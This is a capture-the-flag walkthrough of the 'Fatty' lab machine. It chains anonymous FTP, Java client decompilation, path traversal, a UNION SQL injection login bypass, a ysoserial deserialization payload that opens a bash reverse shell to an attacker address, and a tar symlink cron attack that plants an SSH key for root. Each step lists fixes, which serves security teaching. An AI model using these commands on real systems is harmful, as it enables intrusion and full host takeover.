Fatty
Summary
Target fatty ($TARGET) was fully compromised via a multi-stage thick-client Java exploitation chain. Anonymous FTP exposed a proprietary application JAR containing a hardcoded PKCS12 keystore and TLS private key.
Decompiling the JAR revealed a file-browser function vulnerable to path traversal, used to retrieve the server-side JAR from the running application. The server JAR exposed a UNION-based SQL injection in the login handler, enabling me to forge an administrator session.
An unsafe Java deserialization sink in the admin change-password action accepted a CommonsCollections5 ysoserial payload, yielding a reverse shell as user qtc inside Docker container 8c1c2083a1b8. Root access on the underlying host was achieved by exploiting a privileged host cron job that extracted a tar archive from a container-writable path without symlink protection, allowing me to overwrite /root/.ssh/authorized_keys and authenticate as root over SSH.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<the-password-you-recovered>"Some commands also carry a value in angle brackets (<known-hash>), which you replace inline with what the step before it turned up.
Attack path: how the box was taken
Exact commands 3
Identify open ports and TLS certificate details on the Java service ports.
$ nmap -Pn -n -sV -p21,22,1337-1339 --script ssl-cert,ssl-enum-ciphers $TARGETDownload the client JAR and notes without credentials.
$ curl -sS -O ftp://anonymous:anonymous@$TARGET/fatty-client.jar -O ftp://anonymous:anonymous@$TARGET/note.txt -O ftp://anonymous:anonymous@$TARGET/note2.txtVerify integrity: expected <withheld>
$ sha256sum fatty-client.jarFixDisable anonymous FTP and restrict publicly downloadable application filesCritical
Exact commands 4
List key configuration files inside the JAR.
$ unzip -l fatty-client.jar | grep -Ei 'beans.xml|fatty.p12|TrustedFatty'Decompile the JAR to Java source for analysis.
$ jadx -q -d /tmp/fatty/client-src /tmp/fatty/fatty-client.jarInspect the embedded PKCS12 keystore and its TLS certificate chain.
$ keytool -list -v -keystore fatty.p12 -storetype PKCS12 -storepass $PASSWORD2Confirm the server certificate matches the bundled truststore.
$ echo | openssl s_client -connect $TARGET:1337 -servername server.fatty.htb -showcerts 2>&1 | head -30FixRemove hardcoded keystore credentials from the thick client and enforce server-side client authenticationCritical
Exact commands 3
Resolve the server hostname declared in beans.xml and the TLS certificate.
$ echo "$TARGET server.fatty.htb" | sudo tee -a /etc/hostsLocate signature-check code to target for patching.
$ grep -rn 'signature\|checksum\|verify\|manifest' /tmp/fatty/client-src/sources/htb/fatty/client/connection/ | head -20Launch the patched client with signature and metadata checks removed; connect to server.fatty.htb:1337 using fatty.p12 for mutual TLS.
$ java -jar fatty-client-patched.jarExact commands 3
Confirm the traversal-vulnerable method signatures before exploitation.
$ grep -n 'showFiles\|Invoker\|folder\|open' /tmp/fatty/client-src/sources/htb/fatty/client/methods/Invoker.java | head -30Traverse out of the permitted directory to reach the server JAR on the remote host.
$ # In the patched thick-client GUI: open the File Browser, set folder to '../../' and request 'fatty-server.jar'Decompile the recovered server JAR to find SQL and deserialization sinks.
$ jadx -q -d /tmp/fatty/server-src /tmp/fatty/fatty-server.jarFixCanonicalize and confine all file-browser paths on the server sideHigh
Exact commands 2
Locate the injectable login query in the decompiled server source.
$ grep -n 'SELECT\|executeQuery\|password\|PreparedStatement' /tmp/fatty/server-src/sources/htb/fatty/server/database/FattyDbSession.java | head -20Replace <known-hash> with a bcrypt or MD5 hash of a password you control; the server authenticates you as admin.
$ # In the patched thick-client login form: set username to: fatty' UNION SELECT 1,'admin','<known-hash>',1-- -FixUse parameterized queries throughout the login handler to eliminate SQL injectionCritical
Exact commands 4
Start a reverse-shell listener on my machine.
$ nc -lvnp 4444Generate the CC5 payload; replace $ATTACKER_IP with your HTB tun0 address.
$ java -jar ysoserial.jar CommonsCollections5 "bash -c {bash,-i,>&,/dev/tcp/$ATTACKER_IP/4444,0>&1}" > /tmp/cc5.binThe server deserializes the CC5 gadget chain, executing the reverse-shell command as qtc.
$ # In the patched thick-client (logged in as admin): invoke the change-password action and supply /tmp/cc5.bin as the serialized payload bodyConfirm foothold in the shell: uid=1000(qtc) in container 8c1c2083a1b8.
$ id; hostname; pwd
uid=1000(qtc) gid=1000(qtc) groups=1000(qtc)FixReplace unsafe Java deserialization in the admin protocol with a type-safe serialization formatCritical
Exact commands 1
Read the user flag: <user.txt>
$ cat /home/qtc/user.txtExact commands 6
Generate my SSH keypair on my machine.
$ ssh-keygen -t rsa -b 4096 -f /tmp/fatty/rootkey -N ''Build stage1.tar: a symlink entry 'authorized_keys' pointing to /root/.ssh/authorized_keys.
$ python3 -c "import tarfile; tf=tarfile.open('/tmp/stage1.tar','w'); info=tarfile.TarInfo(name='authorized_keys'); info.type=tarfile.SYMTYPE; info.linkname='/root/.ssh/authorized_keys'; tf.addfile(info); tf.close()"Build stage2.tar: a regular file 'authorized_keys' containing my public key.
$ python3 -c "import tarfile,io; pub=open('/tmp/fatty/rootkey.pub','rb').read(); tf=tarfile.open('/tmp/stage2.tar','w'); info=tarfile.TarInfo(name='authorized_keys'); info.size=len(pub); tf.addfile(info,io.BytesIO(pub)); tf.close()"From the qtc container shell: place stage1.tar; wait for the cron job to extract it on the host, planting the symlink.
$ cp /tmp/stage1.tar /opt/fatty/tar/logs.tarAfter stage1 is consumed: place stage2.tar; the next cron extraction writes the public key through the symlink to /root/.ssh/authorized_keys.
$ cp /tmp/stage2.tar /opt/fatty/tar/logs.tarSSH to the host as root and capture the root flag: <root.txt>
$ ssh -i /tmp/fatty/rootkey -o StrictHostKeyChecking=no root@$TARGET 'id; cat /root/root.txt'FixProtect the host cron log-transfer job against tar symlink extraction from container-writable pathsCritical
Attack patterns used
The transferable techniques behind this compromise.
Insecure DeserializationWeb · Service RCET1190
What it is
Applications that deserialize externally controlled data can be driven into executing code, by two routes that look alike and are not. In Java, .NET and PHP the payload is a 'gadget chain': a graph of classes already on the classpath whose side effects during reconstruction add up to execution; ysoserial and ysoserial.net build them, and ViewState, Java RMI/JMX and PHP's unserialize() are the usual entry points. In Python the object names its own constructor: pickle calls whatever __reduce__ returns, so a payload is a few lines that hand back os.system and its argument, with no gadget hunting at all. PyYAML's yaml.load without SafeLoader is the same primitive wearing a different name.
Why it works
A deserializer reconstructs an arbitrary object graph and invokes methods on it before any application code has seen the input. Remediate by not deserializing untrusted data natively at all (prefer a data format that carries no types, such as JSON parsed into known structures) and where that is impossible, sign or encrypt the serialized state and enforce a strict type allow-list. In Python that means json over pickle and yaml.safe_load over yaml.load.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic: bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.